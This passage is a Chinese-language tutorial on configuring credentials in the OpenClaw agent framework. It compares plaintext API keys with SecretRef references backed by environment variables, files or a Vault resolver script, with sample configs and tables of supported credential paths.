一、引言

OpenClaw 作为 AI Agent 框架,需要与各类外部服务交互——LLM 提供商(OpenAI、GLM)、消息通道(Telegram、Discord、QQ)、密钥管理器(Vault)等。这些交互都需要凭据(credentials)。

OpenClaw 提供了两种凭据配置方式:

  1. 明文凭据:直接在配置文件中写入 API Key、Token 等敏感信息
  2. SecretRef:在配置文件中只写引用,凭据存储在外部(环境变量、文件、密钥管理器)

本文以实战视角,详细讲解两种配置方式的操作方法、适用场景和验证手段。

二、凭据配置文件全景

OpenClaw 的凭据分布在多个配置文件中,每个文件有特定职责。

2.0 配置文件截图

以下是三个核心配置文件的实际内容:

openclaw.json 主配置文件

openclaw.json — 全局主配置文件

auth-profiles.json 认证配置文件

auth-profiles.json — Agent 级别认证配置

models.json 模型配置快照

models.json — 运行时自动生成,不要手动编辑

2.1 为什么配置文件是分离的?

OpenClaw 将配置分为 openclaw.jsonauth-profiles.json 两个文件,这是有意为之的架构设计,原因如下:

多 Agent 支持

OpenClaw 支持同时运行多个独立的 Agent 实例,每个 Agent 可以有自己的认证配置:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
~/.openclaw/
├── openclaw.json                    # 全局共享配置
├── agents/
│   ├── main/
│   │   └── agent/
│   │       ├── auth-profiles.json   # main agent 的认证
│   │       └── models.json          # main agent 的模型快照
│   ├── coder/
│   │   └── agent/
│   │       ├── auth-profiles.json   # coder agent 的认证
│   │       └── models.json          # coder agent 的模型快照
│   └── writer/
│       └── agent/
│           ├── auth-profiles.json   # writer agent 的认证
│           └── models.json          # writer agent 的模型快照

使用场景

Agent用途可用模型
main日常对话、通用任务GLM-5、GPT-4o
coder代码生成、技术问答Claude、GPT-4o
writer写作、翻译GLM-5

职责分离

文件职责修改频率共享范围
openclaw.json全局基础设施配置所有 Agent 共享
auth-profiles.json单个 Agent 的认证凭据仅该 Agent
models.json运行时快照自动生成仅该 Agent

为什么不合并成一个文件?

  1. 隔离性:修改一个 Agent 的认证配置不会影响其他 Agent
  2. 安全性:可以为不同 Agent 分配不同权限的 Token(如只读 vs 完整访问)
  3. 灵活性:不同 Agent 可以使用不同的模型提供商(main 用 GLM,coder 用 Claude)
  4. 可维护性:认证配置频繁变动,与相对稳定的基础设施配置分开更易管理

配置优先级

当同一凭据在多处配置时,优先级如下:

flowchart LR
    A["auth-profiles.json
key/token"] --> B["最高优先级"] C["auth-profiles.json
keyRef/tokenRef"] --> D["次高优先级"] E["openclaw.json
models.providers.*.apiKey"] --> F["基础优先级"] style A fill:#B22222,color:#fff style C fill:#228B22,color:#fff style E fill:#1565C0,color:#fff

实际含义

  1. 如果 auth-profiles.json 中有 profiles.zai:default.key,则使用此明文值
  2. 否则,如果 auth-profiles.json 中有 profiles.zai:default.keyRef,则解析此引用
  3. 否则,使用 openclaw.jsonmodels.providers.zai.apiKey 的值

这种设计允许:

  • 全局默认配置(openclaw.json)
  • Agent 级别覆盖(auth-profiles.json)
  • 同一 OpenClaw 实例中运行使用不同凭据的多个 Agent
flowchart TB
    subgraph 用户配置
        A1["openclaw.json
主配置文件"] A2["auth-profiles.json
认证配置文件"] end subgraph 生成文件 B1["models.json
模型配置快照"] end subgraph 外部存储 C1["环境变量"] C2["secrets.json"] C3["Vault 或 1Password"] end A1 --> B1 A2 --> B1 C1 --> D["运行时解析"] C2 --> D C3 --> D D --> B1 style A1 fill:#1565C0,color:#fff style A2 fill:#1565C0,color:#fff style B1 fill:#9E9E9E,color:#fff style C1 fill:#228B22,color:#fff style C2 fill:#228B22,color:#fff style C3 fill:#228B22,color:#fff

2.1 主配置文件:openclaw.json

路径~/.openclaw/openclaw.json

作用:OpenClaw 的核心配置文件,包含:

配置块作用典型凭据
models.providers.*.apiKeyLLM 提供商 API KeyOpenAI、GLM、Anthropic
channels.*消息通道凭据Telegram Bot Token、Discord Token
gateway.auth.tokenGateway 认证 Token本地/远程 Gateway 访问
tools.web.search.*.apiKeyWeb 搜索 API KeyBrave、Gemini、Perplexity
secrets.providersSecretRef 提供者定义Vault、1Password 连接配置

示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
{
  // 模型提供商配置
  models: {
    providers: {
      openai: {
        baseUrl: "https://api.openai.com/v1",
        apiKey: "sk-xxx",  // 明文凭据(不推荐)
        models: [{ id: "gpt-4", name: "GPT-4" }]
      },
      zai: {
        baseUrl: "https://open.bigmodel.cn/api/paas/v4",
        apiKey: {  // SecretRef 引用(推荐)
          source: "exec",
          provider: "vault",
          id: "openclaw/zai/apiKey"
        },
        models: [{ id: "glm-5", name: "GLM-5" }]
      }
    }
  },
  
  // 消息通道配置
  channels: {
    telegram: {
      enabled: true,
      botToken: "123456:ABC-DEF...",  // 明文凭据
      webhookSecret: "my-secret"
    }
  },
  
  // Gateway 认证
  gateway: {
    auth: {
      mode: "token",
      token: {  // SecretRef 引用
        source: "exec",
        provider: "vault",
        id: "openclaw/gateway/authToken"
      }
    }
  }
}

2.2 认证配置文件:auth-profiles.json

路径~/.openclaw/agents/main/agent/auth-profiles.json

作用:为特定 Agent 定义认证配置,优先级高于 openclaw.json 中的 auth.profiles

配置块作用
profiles.*.key明文 API Key
profiles.*.keyRefSecretRef 引用(推荐)
profiles.*.token明文 Token
profiles.*.tokenRefSecretRef 引用(推荐)

示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
{
  "version": 1,
  "profiles": {
    "zai:default": {
      "type": "api_key",
      "provider": "zai",
      "keyRef": {  // SecretRef 引用
        "source": "exec",
        "provider": "vault",
        "id": "openclaw/zai/apiKey"
      }
    },
    "openai:default": {
      "type": "api_key",
      "provider": "openai",
      "key": "sk-xxx"  // 明文凭据(不推荐)
    }
  }
}

2.4 生成文件:models.json

路径~/.openclaw/agents/main/agent/models.json

作用:运行时模型配置快照,由 OpenClaw 自动生成。

⚠️ 不要手动编辑此文件,修改会被覆盖。

此文件是 openclaw.jsonmodels 配置的解析结果,用于运行时快速查找模型信息。

⚠️ 常见误解:models.json 是"所有凭据的汇总"

一个容易产生的误解是:每个 agent 的 models.json 包含该 agent 能访问的所有明文凭据。这是不准确的。

models.json 的实际范围

✅ 包含❌ 不包含
模型提供商的 apiKey消息通道凭据(telegram、discord 等)
baseUrl、模型 ID/名称Gateway 认证 Token
(如果是 SecretRef,保留引用格式)auth-profiles.json 中的凭据
其他非模型类凭据

SecretRef 凭据不会在 models.json 中变成明文:如果配置使用 SecretRef,models.json 中仍然保留引用格式,凭据在运行时从外部存储(Vault/env/file)解析后存入内存。

凭据解析与存储全景图

以下流程图展示了凭据从配置文件到运行时内存的完整流程:

flowchart TB
    subgraph 配置文件层
        A1["openclaw.json
models.providers.*.apiKey"] A2["openclaw.json
channels.*.botToken"] A3["openclaw.json
gateway.auth.token"] A4["auth-profiles.json
profiles.*.key/keyRef"] end subgraph 快照文件层 B1["models.json
(仅模型 apiKey)"] end subgraph 外部存储层 C1["环境变量"] C2["secrets.json"] C3["Vault / 1Password"] end subgraph 运行时内存 D1["Agent 内存空间
所有明文凭据的最终归宿"] end A1 --> B1 B1 -->|"SecretRef 保留引用格式"| D1 B1 -->|"明文直接复制"| D1 A2 -->|"不在 models.json 中"| D1 A3 -->|"不在 models.json 中"| D1 A4 -->|"优先级最高"| D1 C1 -->|"运行时解析"| D1 C2 -->|"运行时解析"| D1 C3 -->|"运行时解析"| D1 style A1 fill:#1565C0,color:#fff style A2 fill:#1565C0,color:#fff style A3 fill:#1565C0,color:#fff style A4 fill:#1565C0,color:#fff style B1 fill:#9E9E9E,color:#fff style C1 fill:#228B22,color:#fff style C2 fill:#228B22,color:#fff style C3 fill:#228B22,color:#fff style D1 fill:#B22222,color:#fff

多 Agent 场景下的凭据隔离

flowchart TB
    subgraph 全局配置
        G["openclaw.json
所有 Agent 共享"] end subgraph Agent: main M1["auth-profiles.json"] M2["models.json"] M3["运行时内存
GLM-5 API Key
Telegram Token"] end subgraph Agent: coder C1["auth-profiles.json"] C2["models.json"] C3["运行时内存
Claude API Key
(无 Telegram Token)"] end subgraph Agent: writer W1["auth-profiles.json"] W2["models.json"] W3["运行时内存
GLM-5 API Key
(无 Telegram Token)"] end G --> M2 G --> C2 G --> W2 M1 --> M3 M2 --> M3 C1 --> C3 C2 --> C3 W1 --> W3 W2 --> W3 style G fill:#1565C0,color:#fff style M3 fill:#B22222,color:#fff style C3 fill:#B22222,color:#fff style W3 fill:#B22222,color:#fff

关键点

  1. models.json 是每个 Agent 独立的maincoderwriter 各有自己的 models.json
  2. 凭据隔离在运行时内存:每个 Agent 的内存空间独立,互不访问
  3. auth-profiles.json 提供覆盖能力:可以为不同 Agent 配置不同的模型提供商凭据
  4. 非模型凭据不进入 models.json:如 channels.telegram.botToken 直接从 openclaw.json 读入内存

如何查看 Agent 实际可访问的凭据?

方法能看到什么局限性
查看 models.json模型 apiKey(明文或引用)不包含 channels、gateway 等凭据
查看 openclaw.json所有配置的明文或引用需要手动追踪 SecretRef
运行时内存所有明文凭据需要调试工具,生产环境不推荐

结论:如果想要"查看某个 agent 能访问的所有明文凭据",正确的方式是看运行时内存,而不是看 models.json 文件。这也是 SecretRef 的安全意义:配置文件中不存明文,明文只在内存中出现

三、明文凭据配置

3.1 配置方法

在配置文件中直接写入凭据明文:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
// ~/.openclaw/openclaw.json
{
  models: {
    providers: {
      openai: {
        baseUrl: "https://api.openai.com/v1",
        apiKey: "sk-proj-xxxxxxxxxxxxxx",  // 直接写明文
        models: [{ id: "gpt-4o", name: "GPT-4o" }]
      }
    }
  },
  channels: {
    telegram: {
      enabled: true,
      botToken: "1234567890:ABCDefGHIjklMNOpqrsTUVwxyz",  // Bot Token
      webhookSecret: "my-webhook-secret-12345"
    }
  }
}

3.2 适用场景

场景是否推荐原因
本地开发测试⚠️ 可接受配置简单,但需注意不要提交到 Git
个人机器部署⚠️ 可接受单用户,风险可控
多人协作项目❌ 不推荐凭据共享风险
生产环境❌ 不推荐安全合规要求
需要凭据轮换❌ 不推荐修改配置文件繁琐

3.3 风险分析

配置文件泄露

1
2
3
# 假设配置文件被意外分享
cat ~/.openclaw/openclaw.json
# apiKey: "sk-proj-xxx" ← 凭据直接暴露

Git 历史污染

1
2
3
4
# 即使后来删除凭据,历史记录中仍存在
git log -p ~/.openclaw/openclaw.json
# commit abc123: add openai api key
# +  "apiKey": "sk-proj-xxx"  ← 历史中仍有明文

备份/传输风险

1
2
3
# 任何备份都会包含凭据
cp ~/.openclaw/openclaw.json /backup/
tar -czf config.tar.gz ~/.openclaw/

四、SecretRef 支持的凭据类型

并非所有凭据都支持 SecretRef。在讲解如何配置之前,先明确哪些凭据可以使用 SecretRef,哪些不能。

4.0 明文配置 vs SecretRef 配置对比

在深入讲解之前,先通过一个实际例子直观感受两种配置方式的区别:

明文配置与 SecretRef 配置对比

openclaw.json 中 channels 配置对比:qqbot 使用明文 clientSecret,telegram 使用 SecretRef 引用 botToken

两种配置方式的区别

维度明文配置(qqbot)SecretRef 配置(telegram)
配置格式"clientSecret": "32oM****""botToken": {"source": "exec", "provider": "vault", "id": "..."}
凭据存储位置直接写在配置文件中存储在外部(Vault)
安全性❌ 配置文件泄露 = 凭据泄露✅ 配置文件只有引用,无明文
Git 提交风险⚠️ 明文进入历史记录✅ 历史记录只有引用
轮换便利性❌ 需修改配置文件✅ 只需更新外部存储

为什么 qqbot 使用明文? 因为 channels.qqbot.clientSecret 是插件实现,不在 OpenClaw 内置 SecretRef 支持列表中(详见 4.3 不支持的凭据类型)。

4.1 OpenClaw 凭据分类与依赖关系

在讨论 SecretRef 支持范围之前,先理解 OpenClaw 涉及的凭据类型及其依赖关系。

三层凭据架构(概念性框架)

⚠️ 说明:本节提出的"三层凭据架构"是本文作者的概念性抽象,用于帮助理解 OpenClaw 凭据流转的依赖关系。它不是 OpenClaw 代码中的正式概念或架构术语。代码中没有"第一层"、“第二层”、“第三层"的任何体现。

OpenClaw 的凭据流转可以分为三个概念层次,每一层都有凭证使用者

flowchart TB
    subgraph L1["第一层:基础凭证"]
        direction TB
        subgraph L1_Cred["凭证"]
            E1["环境变量
VAULT_TOKEN 等"] E2["本地文件
~/.openclaw/.vault-token"] end subgraph L1_User["使用者"] U1["Resolver 脚本
vault-resolver.sh"] end end subgraph L2["第二层:SecretRef 存储"] direction TB subgraph L2_Cred["凭证(存储后端)"] V1["exec 模式
Vault / 1Password"] V2["file 模式
secrets.json"] V3["env 模式
环境变量"] end subgraph L2_User["使用者"] U2["secrets.providers
(openclaw.json 配置)"] end end subgraph L3["第三层:应用凭证"] direction TB subgraph L3_Cred["凭证(业务凭据)"] C1["LLM API Key"] C2["Telegram Token"] C3["Gateway Token"] C4["Skills API Key"] end subgraph L3_User["使用者"] U3["应用模块
LLM/Telegram/Gateway/Skills"] end end L1_Cred -->|"读取"| U1 U1 -->|"调用"| V1 L1_Cred -->|"直接读取"| V2 L1_Cred -->|"直接读取"| V3 L2_Cred -->|"配置引用"| U2 U2 -->|"SecretRef 声明"| C1 U2 -->|"SecretRef 声明"| C2 U2 -->|"SecretRef 声明"| C3 U2 -->|"SecretRef 声明"| C4 C1 -->|"注入"| U3 C2 -->|"注入"| U3 C3 -->|"注入"| U3 C4 -->|"注入"| U3 style E1 fill:#228B22,color:#fff style E2 fill:#228B22,color:#fff style U1 fill:#E65100,color:#fff style V1 fill:#5E35B1,color:#fff style V2 fill:#5E35B1,color:#fff style V3 fill:#5E35B1,color:#fff style U2 fill:#B22222,color:#fff style C1 fill:#1565C0,color:#fff style C2 fill:#1565C0,color:#fff style C3 fill:#1565C0,color:#fff style C4 fill:#1565C0,color:#fff style U3 fill:#9E9E9E,color:#fff

凭证与使用者对照表

层级凭证使用者使用方式
第一层VAULT_TOKEN、VAULT_ADDRResolver 脚本脚本读取环境变量/文件,调用 Vault
第二层Vault 存储的凭据secrets.providersopenclaw.json 中定义 provider
第三层LLM API Key、Telegram Token应用模块SecretRef 引用,运行时注入

机制说明(通用规则,与具体存储无关):

层级OpenClaw 机制说明
第一层不通过 SecretRef 配置“启动钥匙”,使用者是 Resolver 脚本
第二层通过 secrets.providers 定义使用者是 openclaw.json 配置
第三层通过 SecretRef 引用使用者是具体的应用模块

完整的凭据流转链路

flowchart LR
    subgraph 输入
        A["基础凭证
VAULT_TOKEN"] end subgraph 处理 B["Resolver 脚本
使用基础凭证"] C["Vault
存储应用凭证"] D["secrets.providers
配置引用"] E["SecretRef
声明路径"] end subgraph 输出 F["应用凭证
运行时注入"] G["应用模块
使用凭证"] end A -->|1. 读取| B B -->|2. 认证| C C -->|3. 返回| D D -->|4. 解析| E E -->|5. 获取| F F -->|6. 注入| G style A fill:#228B22,color:#fff style B fill:#E65100,color:#fff style C fill:#5E35B1,color:#fff style D fill:#B22222,color:#fff style E fill:#1565C0,color:#fff style F fill:#1565C0,color:#fff style G fill:#9E9E9E,color:#fff

6 步流转说明

步骤动作执行者数据流
1读取基础凭证Resolver 脚本VAULT_TOKEN → 脚本内存
2认证到 VaultResolver 脚本VAULT_TOKEN → Vault
3返回存储的凭据Vaultopenclaw/zai/apiKey → 脚本
4解析 SecretRefOpenClaw Gatewayprovider + id → 凭据值
5获取应用凭证OpenClaw Gateway凭据值 → 内存
6注入应用模块OpenClaw Gateway内存 → LLM/Telegram/Gateway

关联载体详解

载体 ①:Resolver 脚本(第一层使用者)

Resolver 脚本是第一层凭证的使用者,负责:

  1. 读取基础凭证(如 VAULT_TOKEN)
  2. 调用外部服务(如 Vault CLI)
  3. 将凭据值返回给 OpenClaw
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#!/bin/bash
# vault-resolver.sh
# OpenClaw 通过 stdin 发送请求,通过 stdout 接收响应

export VAULT_ADDR='https://vault.cipherhub.cloud/'
export VAULT_TOKEN=$(cat ~/.openclaw/.vault-token)

# 读取 OpenClaw 的请求
REQUEST=$(cat)

# 调用 Vault CLI 获取凭据
# ... 具体实现见 5.5.2 节

# 返回 JSON 格式响应
echo '{"protocolVersion":1,"values":{...}}'

载体 ②:openclaw.json 配置(第二层使用者)

openclaw.json 是第二层凭证的使用者,通过 secrets.providers 配置引用存储后端:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
  // 定义存储后端(第二层使用者配置)
  secrets: {
    providers: {
      vault: {
        source: "exec",
        command: "~/.openclaw/vault-resolver.sh",
        passEnv: ["VAULT_ADDR", "VAULT_TOKEN"]
      }
    }
  },

  // 声明 SecretRef 引用(指向应用凭证)
  models: {
    providers: {
      zai: {
        apiKey: {
          source: "exec",
          provider: "vault",
          id: "openclaw/zai/apiKey"
        }
      }
    }
  }
}

完整的凭据解析流程

sequenceDiagram
    participant User as 用户
    participant Config as openclaw.json
    participant Gateway as OpenClaw Gateway
    participant Resolver as Resolver 脚本
    participant Vault as Vault / 外部存储

    User->>Config: 1. 配置 secrets.providers
    User->>Config: 2. 配置 SecretRef 引用
    User->>Resolver: 3. 编写 resolver 脚本
    User->>Vault: 4. 存储凭据到外部服务

    Gateway->>Config: 5. 启动时读取配置
    Gateway->>Resolver: 6. 调用 resolver(传入 id)
    Resolver->>Vault: 7. 使用 VAULT_TOKEN 访问 Vault
    Vault-->>Resolver: 8. 返回凭据值
    Resolver-->>Gateway: 9. 返回 JSON 响应
    Gateway->>Gateway: 10. 解析 SecretRef,注入应用凭证

第一层:基础凭证(引导凭证)

OpenClaw 机制:基础凭证不通过 SecretRef 配置,而是直接通过环境变量文件提供。

具体内容取决于你选择的存储后端

存储后端需要的基础凭证配置方式
HashiCorp VaultVAULT_TOKEN + VAULT_ADDR环境变量 或 ~/.openclaw/.vault-token
1Password CLIOP_SESSION_*环境变量(op signin 后自动设置)
AWS Secrets ManagerAWS_ACCESS_KEY_ID + AWS_SECRET_ACCESS_KEY环境变量 或 IAM 角色
GCP Secret ManagerGOOGLE_APPLICATION_CREDENTIALS环境变量 指向服务账号 JSON
file 模式无额外凭证直接读取 ~/.openclaw/secrets.json
env 模式无额外凭证直接读取进程环境变量

以 Vault 为例

1
2
3
4
5
6
7
# 方式一:环境变量
export VAULT_ADDR='https://vault.cipherhub.cloud/'
export VAULT_TOKEN='hvs.xxx...'

# 方式二:文件(OpenClaw 专用路径)
echo 'hvs.xxx...' > ~/.openclaw/.vault-token
chmod 600 ~/.openclaw/.vault-token

以 1Password 为例

1
2
3
4
5
# 先登录 1Password CLI
op signin

# 登录后会自动设置 OP_SESSION_* 环境变量
# OpenClaw 的 resolver 脚本可以直接使用

第二层:SecretRef 存储层

OpenClaw 机制:通过 secrets.providers 定义存储后端,支持三种 source

sourceOpenClaw 机制依赖的基础凭证(举例)
"env"直接读取环境变量无(环境变量本身就是凭据)
"file"直接读取本地 JSON 文件无(文件内容就是凭据)
"exec"执行外部命令,从 stdout 读取Vault Token / 1Password 会话 / AWS 凭证 等

机制 vs 举例

维度OpenClaw 机制举例
source 类型env / file / exec
provider 名称用户自定义(如 vaultonepassword
exec 命令用户自定义脚本vault-resolver.shop read
基础凭证取决于 exec 命令的需要VAULT_TOKEN、OP_SESSION_*

第三层:应用凭证层(支持 SecretRef)

OpenClaw 机制:以下配置路径支持 SecretRef,可以在 openclaw.json 中使用引用格式:

类别凭证路径说明
LLM 凭证models.providers.*.apiKeyOpenAI、GLM、Anthropic 等
消息通道channels.telegram.botTokenTelegram Bot Token
channels.discord.tokenDiscord Bot Token
channels.slack.botTokenSlack Bot Token
channels.feishu.appSecret飞书 App Secret
Gatewaygateway.auth.tokenGateway 访问 Token
gateway.remote.token远程 Gateway Token
Skillsskills.entries.*.apiKey技能专用 API Key
Web 工具tools.web.search.*.apiKey搜索 API Key
TTSmessages.tts.*.apiKey语音合成 API Key

完整列表见下一节 4.2 支持的凭据

Skills 凭证存放详解

Skills 是 OpenClaw 扩展能力的核心,每个 Skill 可以有自己的 API Key,支持通过 SecretRef 管理。

Skills 凭证的三个层次

flowchart LR
    subgraph Vault存储["存储层(以 Vault 为例)"]
        A["openclaw/skills/eet/apiKey"]
        B["openclaw/skills/weather/apiKey"]
    end

    subgraph openclaw.json["配置层(OpenClaw 机制)"]
        C["skills.entries.eet.apiKey"]
        D["skills.entries.weather.apiKey"]
    end

    subgraph Skill代码["运行时(OpenClaw 机制)"]
        E["eet Skill 读取 apiKey"]
        F["weather Skill 读取 apiKey"]
    end

    A -->|"SecretRef 解析"| C
    B -->|"SecretRef 解析"| D
    C -->|"运行时注入"| E
    D -->|"运行时注入"| F

    style A fill:#5E35B1,color:#fff
    style B fill:#5E35B1,color:#fff
    style C fill:#1565C0,color:#fff
    style D fill:#1565C0,color:#fff
    style E fill:#228B22,color:#fff
    style F fill:#228B22,color:#fff

配置步骤

  1. 存储到 Vault(以 Vault 为例,其他存储后端同理):

    1
    2
    
    vault kv put openclaw/skills/eet apiKey="your-eet-api-key"
    vault kv put openclaw/skills/weather apiKey="your-weather-api-key"
  2. 配置 openclaw.json

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    
    {
      skills: {
        entries: {
          "eet": {
            enabled: true,
            apiKey: {
              source: "exec",
              provider: "vault",
              id: "openclaw/skills/eet/apiKey"
            }
          },
          "weather": {
            enabled: true,
            apiKey: {
              source: "exec",
              provider: "vault",
              id: "openclaw/skills/weather/apiKey"
            }
          }
        }
      }
    }
  3. Skill 代码中读取

    OpenClaw 在 Skill 执行时会:

    1. 解析 SecretRef,从 Vault 获取 apiKey 的实际值
    2. 将值注入到 SKILL.md 中 metadata.openclaw.primaryEnv 声明的环境变量
    3. Skill 代码通过 process.env.MY_API_KEY 读取

    完整流程示例

    1
    2
    3
    4
    5
    6
    
    # SKILL.md 中的 frontmatter
    ---
    name: my-skill
    description: My custom skill
    metadata: { "openclaw": { "primaryEnv": "MY_SKILL_API_KEY" } }
    ---
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    
    // openclaw.json 中的配置
    {
      skills: {
        entries: {
          "my-skill": {
            enabled: true,
            apiKey: {
              source: "exec",
              provider: "vault",
              id: "openclaw/skills/my-skill/apiKey"  // ← Vault 路径
            }
          }
        }
      }
    }
    1
    2
    
    # Vault 中存储的凭据
    vault kv put openclaw/skills/my-skill apiKey="sk-xxxxx"

    执行时的数据流

    sequenceDiagram
        participant Config as openclaw.json
        participant Vault as Vault
        participant Gateway as OpenClaw Gateway
        participant Skill as Skill 进程
    
        Config->>Gateway: 1. 读取 apiKey SecretRef
        Gateway->>Vault: 2. 解析 SecretRef,获取实际值
        Vault-->>Gateway: 3. 返回 "sk-xxxxx"
        Gateway->>Gateway: 4. 读取 primaryEnv = "MY_SKILL_API_KEY"
        Gateway->>Skill: 5. 注入 process.env.MY_SKILL_API_KEY = "sk-xxxxx"
        Skill->>Skill: 6. 代码读取 process.env.MY_SKILL_API_KEY
    

    Skill 代码示例

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    
    import os
    
    def call_external_service():
        # 从环境变量读取 API Key(由 OpenClaw 注入)
        api_key = os.environ.get("MY_SKILL_API_KEY")
        if not api_key:
            raise ValueError("MY_SKILL_API_KEY not set")
    
        # 使用 API Key 调用外部服务
        response = requests.get(
            "https://api.example.com/data",
            headers={"Authorization": f"Bearer {api_key}"}
        )
        return response.json()

Skills 凭证的安全边界

隔离层级说明
配置文件隔离Skill 的 apiKey 只在 skills.entries.<name> 中定义
运行时隔离每个 Skill 执行时只能访问自己的 apiKey
Vault 路径隔离不同 Skill 的凭据存储在不同 Vault 路径

用户自定义服务的凭证放哪里?

假设你有一个自定义服务 aps.cipherhub.cloud/mcp,需要一个 API Token,有以下几种方案:

方案一:通过 Skills 接入(推荐)

如果这个服务需要被 OpenClaw Agent 调用,可以封装成 Skill:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
// openclaw.json
{
  skills: {
    entries: {
      "aps-mcp": {
        enabled: true,
        apiKey: {
          source: "exec",
          provider: "vault",  // 或 "onepassword" 等
          id: "openclaw/aps-mcp/apiToken"
        }
      }
    }
  }
}

然后在 Skill 代码中通过环境变量或配置读取这个 apiKey。

方案二:不通过 OpenClaw 管理

如果这个服务独立运行(不在 OpenClaw 框架内),则:

  • OpenClaw 的 SecretRef 机制无法管理它
  • 需要自行实现凭据管理(直接读取 Vault、使用环境变量等)

不支持 SecretRef 的凭证

以下凭证不支持 SecretRef,原因各不相同:

凭证原因替代方案
channels.qqbot.clientSecret第三方插件:QQBot 是社区插件 @sliverp/qqbot,不在 OpenClaw 核心凭据管理范围内。插件自行管理凭据解析。明文配置在 openclaw.json(注意权限)
channels.matrix.accessToken运行时生成:由 Matrix 登录流程动态产生,无法预先配置。由 OpenClaw 运行时自动管理
auth-profiles.oauth.*运行时轮换:OAuth 的 accessToken/refreshToken 会自动续期,静态 SecretRef 无法满足轮换需求。由 OpenClaw 运行时自动管理
discord.threadBindings.*.webhookToken运行时生成:创建线程时动态生成。自动管理
whatsapp.creds.json运行时管理:WhatsApp Web.js 持久化凭据。自动管理

关键区别

类型示例为什么不支持 SecretRef
第三方插件qqbot.clientSecret插件独立管理凭据,不在 OpenClaw 核心体系
运行时生成matrix.accessToken凭据动态产生,无法预先静态配置
运行时轮换oauth.accessToken凭据会自动续期,SecretRef 只读模式无法满足

qqbot 的特殊情况:如果你确实需要保护 clientSecret,可以:

  1. 在插件层面实现 SecretRef 支持(需要修改插件代码)
  2. 使用文件权限保护(chmod 600 openclaw.json
  3. 将整个 openclaw.json 纳入 Git 忽略(不提交到版本控制)

凭据依赖关系总结

层级OpenClaw 机制具体内容
基础凭证环境变量 / 文件(明文)取决于存储后端(VAULT_TOKEN、OP_SESSION_* 等)
SecretRef 存储secrets.providers 定义取决于用户选择(Vault、1Password、file 等)
应用凭证SecretRef 引用 或 明文取决于业务需求(LLM、Telegram、Skills 等)

核心原则

  1. 三层架构是 OpenClaw 的通用机制,与具体存储后端无关
  2. 基础凭证的具体内容由存储后端决定,不是 OpenClaw 定义的
  3. 基础凭证是"启动钥匙”,必须明文配置
  4. SecretRef 保护的是应用凭证,不是基础凭证
  5. 所有 SecretRef 引用的凭据最终在运行时内存中是明文
  6. Skills 的凭证通过 skills.entries.*.apiKey 管理,支持 SecretRef

4.2 支持的凭据(openclaw.json)

以下配置路径支持 SecretRef:

类别凭据路径说明
模型提供商models.providers.*.apiKeyOpenAI、GLM、Anthropic 等 API Key
models.providers.*.headers.*自定义请求头
Skillsskills.entries.*.apiKey技能专用 API Key(支持自定义服务)
网关认证gateway.auth.tokenGateway 访问 Token
gateway.auth.passwordGateway 访问密码
gateway.remote.token远程 Gateway Token
gateway.remote.password远程 Gateway 密码
Web 工具tools.web.search.apiKeyBrave 搜索 API Key
tools.web.search.gemini.apiKeyGemini 搜索
tools.web.search.grok.apiKeyGrok 搜索
tools.web.search.kimi.apiKeyKimi 搜索
tools.web.search.perplexity.apiKeyPerplexity 搜索
tools.web.fetch.firecrawl.apiKeyFirecrawl API Key
消息 TTSmessages.tts.elevenlabs.apiKeyElevenLabs TTS
messages.tts.openai.apiKeyOpenAI TTS
定时任务cron.webhookTokenCron webhook Token
Telegramchannels.telegram.botTokenBot Token
channels.telegram.webhookSecretWebhook 密钥
channels.telegram.accounts.*.botToken多账号 Bot Token
Discordchannels.discord.tokenBot Token
channels.discord.pluralkit.tokenPluralKit Token
Slackchannels.slack.botTokenBot Token
channels.slack.appTokenApp Token
channels.slack.userTokenUser Token
channels.slack.signingSecret签名密钥
飞书channels.feishu.appSecretApp Secret
channels.feishu.encryptKey加密密钥
channels.feishu.verificationToken验证 Token
Matrixchannels.matrix.password密码
IRCchannels.irc.password密码
channels.irc.nickserv.passwordNickServ 密码

4.2 支持的凭据(auth-profiles.json)

凭据路径说明
profiles.*.keyRefAPI Key 引用(type: “api_key”)
profiles.*.tokenRefToken 引用(type: “token”)

示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
{
  "profiles": {
    "zai:default": {
      "type": "api_key",
      "provider": "zai",
      "keyRef": {
        "source": "exec",
        "provider": "vault",
        "id": "openclaw/zai/apiKey"
      }
    }
  }
}

4.3 不支持的凭据类型

以下凭据不支持 SecretRef,必须使用明文配置:

凭据原因
channels.matrix.accessToken运行时生成的 Token
channels.qqbot.clientSecret插件实现(非内置 channel)
auth-profiles.oauth.*OAuth 持久化凭据
hooks.tokenWebhook Token
discord.threadBindings.*.webhookToken运行时生成
whatsapp.creds.json运行时管理

为什么这些不支持? 它们属于「运行时生成或轮换」的凭据类型,不适合通过只读的外部 SecretRef 解析。

4.5 SecretRef 三种来源概览

source适用场景外部存储
"env"个人开发、容器化部署环境变量
"file"多凭据集中管理本地 JSON 文件
"exec"企业级密钥管理Vault、1Password、AWS Secrets Manager

下一章将详细讲解这三种来源的配置方法。

五、SecretRef 配置

SecretRef 是一种引用对象,配置文件中只存引用,凭据存储在外部。

5.1 SecretRef 基本结构

1
2
3
4
5
6
7
{
  apiKey: {
    source: "env" | "file" | "exec",  // 凭据来源
    provider: "default" | "vault" | "...",  // 提供者名称
    id: "..."  // 凭据标识符
  }
}

5.2 前置配置:定义 secrets.providers

在使用 SecretRef 之前,需要在 openclaw.json 中定义提供者:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
{
  secrets: {
    providers: {
      // 环境变量提供者(内置,名称固定为 "default")
      default: {
        source: "env"
